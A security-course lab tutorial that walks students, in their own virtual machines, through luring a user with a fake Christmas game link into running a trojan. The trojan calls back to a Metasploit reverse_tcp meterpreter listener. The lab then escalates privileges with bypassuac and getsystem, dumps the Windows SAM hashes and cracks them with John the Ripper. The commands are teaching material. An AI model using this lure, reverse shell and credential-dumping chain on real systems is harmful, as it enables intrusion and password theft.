(Trojan
Horse 2: Lesson 3)
{ Social Engineered
Trojan Horse sends Request Back to Metasploit }
Section 0. Background
Information |
- Pre-Requisite Labs
- Overview
- This is the final piece of the exploit,
where the unsuspecting user receives an email with a web link saying
"Merry Christmas,,, I have this great snowball fight game for you
to play."
- The Victim Clicks on the link, unzips and
clicks on the Trojan Horse we previously built.
- Once activated, the msfpayload sends a
request back to the BackTrack server running a Metasploit listener.
- We will use Metasploit
post/windows/escalate/bypassuac to retrieve the SAM password hash, and
use John the Ripper to crack the password.
- Caveats
- Your BackTrack server either (1) needs to
be on the same subnet as the victim host OR (2) the BackTrack server should have a public
internet address with port 4444 opened up on your firewall/router that
points to your BackTrack server.
- Legal Disclaimer
- As a condition of your use of this Web
site, you warrant to computersecuritystudent.com that you will not use
this Web site for any purpose that is unlawful or
that is prohibited by these terms, conditions, and notices.
- In accordance with UCC § 2-316, this
product is provided with "no warranties, either express or implied." The
information contained is provided "as-is", with "no guarantee of
merchantability."
- In addition, this is a teaching website
that does not condone malicious behavior of
any kind.
- Your are on notice, that continuing
and/or using this lab outside your "own" test environment is considered
malicious and is against the law.
Section 1. Start Up
BackTrack5R1 |
- Start Up BackTrack5R1.
- Instructions:
- Start Up your VMware Player
- Play virtual machine
- Login to BackTrack
- Instructions:
- Login: root
- Password: toor or <whatever you changed
it to>.
- Bring up the GNOME
- Instructions:
- Type startx
- Start up a terminal window
- Instructions:
- Click on the Terminal Window
- Obtain the IP Address
- Instructions:
- ifconfig -a
- Notes:
- My IP address 192.168.1.105. In your
case, it will probably be different.
- You will later use this IP Address when
give the prospective Victim the web link to the Trojan Horse Game.
Section 2. Start Up
BackTrack Apache Web Server |
- Check if Apache Web Server is Running
- Instructions:
- ps -eaf | grep apache | grep -v grep |
wc -l
- "0" was returned because the Apache
Web Server is not running.
- /etc/init.d/apache2 start
- This is the Apache Web Server start
up script.
- ps -eaf | grep apache
- Notes:
- Apache2 comes standard with BackTrack5R1.
- If your version of BackTrack5R1 does not
come with Apache, then do the following:
- dpkg --get-selections | grep apache2
- If you do not see apache2 as
installed, then continue to the next step..
- apt-get install apache2
Section 3. Start up
Metasploit |
- Start Up Metasploit msfconsole
-
Instructions:
- Applications -->
msfconsole --> Exploitation Tools --> Network
Exploitation Tools --> Metasploit Framework -->
msfconsole.
- Note:
- Metasploit takes about
5 to 20 seconds to start up
-
-
Start Exploit
listener
-
Instructions:
- use
exploit/multi/handler
- set PAYLOAD
windows/meterpreter/reverse_tcp
- set LHOST
192.168.1.105
- set LPORT
4444
- exploit
-
Continue to the next section!!!
-
 
Section 4. Start Up
Windows Machine |
- Booting up W7P32B
- Instructions:
- Start up VMware Player
- Select W7P32B
- Play Virtual Machine
- Note:
- For those of you that are not part of
my class, W7P32Bis a Windows 7 32 Bit Operating System.
- Any version of Windows can be used.
- But you must have first completed the
pre-requisite labs listed in the overview section.
- W7P32B Authentication
- Instructions:
- Login as student
Section 5. Start up
Internet Explorer |
- Change "student" Password (Part 1)
- Instructions:
- Type in the search box "change password"
- Click on "Change your Windows password"
- Change "student" Password (Part 2)
- Instructions:
- Click on student
- Click on change your password
-
Change "student" Password (Part 3)
- Instructions:
- Supply the Old Password
- Supply the New Password.
- Use "student" as your password at the
expense of crack time.
- Provide a Hint if you want
- Click the Change password button
Section 6. Start up
Internet Explorer |
- Start Up Internet Explorer
- Instructions:
- In the search box type "Internet
Explorer"
- Under Programs, click on Internet
Explorer
-
- Social Engineer Game
- Instructions:
- Pretending,,, you could simulate
receiving an email with a link pointing to the
Trojan Horse game.
- In the Windows Internet Explorer
address window put in the
following address:
- http://192.168.1.105/html/games/snowcraft2.zip
- Note:
Replace 192.168.1.105
with the IP Address obtained from Section 1, Step 5.
- Press Enter
- .
- File Download
- Save File
- Instructions:
- The default download location should be
as follows
- C:\Users\student\Downloads.
- File name is snowcraft2
- Click Save
- Open Folder
- Instructions:
- Click on Open Folder
- Extract Zip File
- Instructions:
- Right Click on snowcraft
- Select Extract All...
- Select a Destination and Extract Files
- Instructions:
- Take the Default location
- Click on Extract
- Play Game
- Instructions:
- Double Click on the snowcraft2 game
- Run Game
- Instructions:
- Click on the Run Button.
- Continue to the next Section.
Section 7. Its
Metasploit Time |
- View Metasploit Session
- Note:
- Notice a stage was sent to the Windows
Machine (192.168.1.198) over port 4444.
- This method is more elegant than Trojan
Horse Lesson 1, because the game calls home, instead of trying
watching web server logs for IP Addresss.
- Obtain Username and System Information
- Instructions:
- getuid
- sysinfo
- Put Metasploit Session into the Background
- Instructions:
- Press the <Ctrl> Key and the "z" key at
the same time.
- Answer "y"
- Let's Bypass User Authentication Credentials
- Instructions:
- use post/windows/escalate/bypassuac
- show options
- set LHOST 192.168.1.105
- set SESSION 1
- run
- Once you see "[*] New server process:
notepad.exe", Press <Enter> to get a prompt.
- Set Options, Launch Exploit
- Instructions:
- sessions
- Display all the current metasploit
sessions.
- sessions -i 2
- Use the post/windows/escalate/bypassuac
session.
- getuid
- getsystem
- View Windows Process List and Get the PID for
winlogon.exe
- Instructions:
- ps
- Search for winlogin.exe and record the
PID.
- In my case, the PID is 448.
- Your PID will probably be
different.
- Migrate and Grab the SAM Database
- Instructions:
- migrate 448
- Remember this is the PID for
winlogon.exe on my machine.
- It will be different in your case.
- run hashdump
- Note:
- Now you have the entire Windows SAM
Database to Crack
- Copy the SAM Database
- Instructions:
- Highlight the SAM Database.
- Edit --> Copy
- Start up a terminal window
- Instructions:
- Click on the Terminal Window
- Saving the SAM Database (Part 1)
- Instructions:
- cd /home/student
- vi SAM.txt
- Saving the SAM Database (Part 2)
- Instructions:
- Press "i" to get into insert mode.
- Edit --> Paste
- Press the <Esc> key.
- Type ":wq" to write and quit
- Filter out the student password
- Instructions:
- cd /home/student
- grep student SAM.txt > SAM.student.txt
- cat SAM.student.txt
- Let's Crack the Password with John the Ripper
- Instructions:
- cd /pentest/passwords/john
- ./john --format=NT /home/student/SAM.student.txt
- Note:
- Since you used an easy password, John the
Ripper was able to figure it out in a hurry.
- Proof of Lab
- Instructions:
- netstat -ano | grep 4444
- cd /home/student
- ls -l SAM.txt
- date
- echo "Your Name"
- Replace the string "Your Name" with
your actual name.
- E.g., echo "John Gray"
-
Proof of Lab
Instructions:
- Do a PrtScn
- Paste into a Word Document
- Upload to Moodle
|
|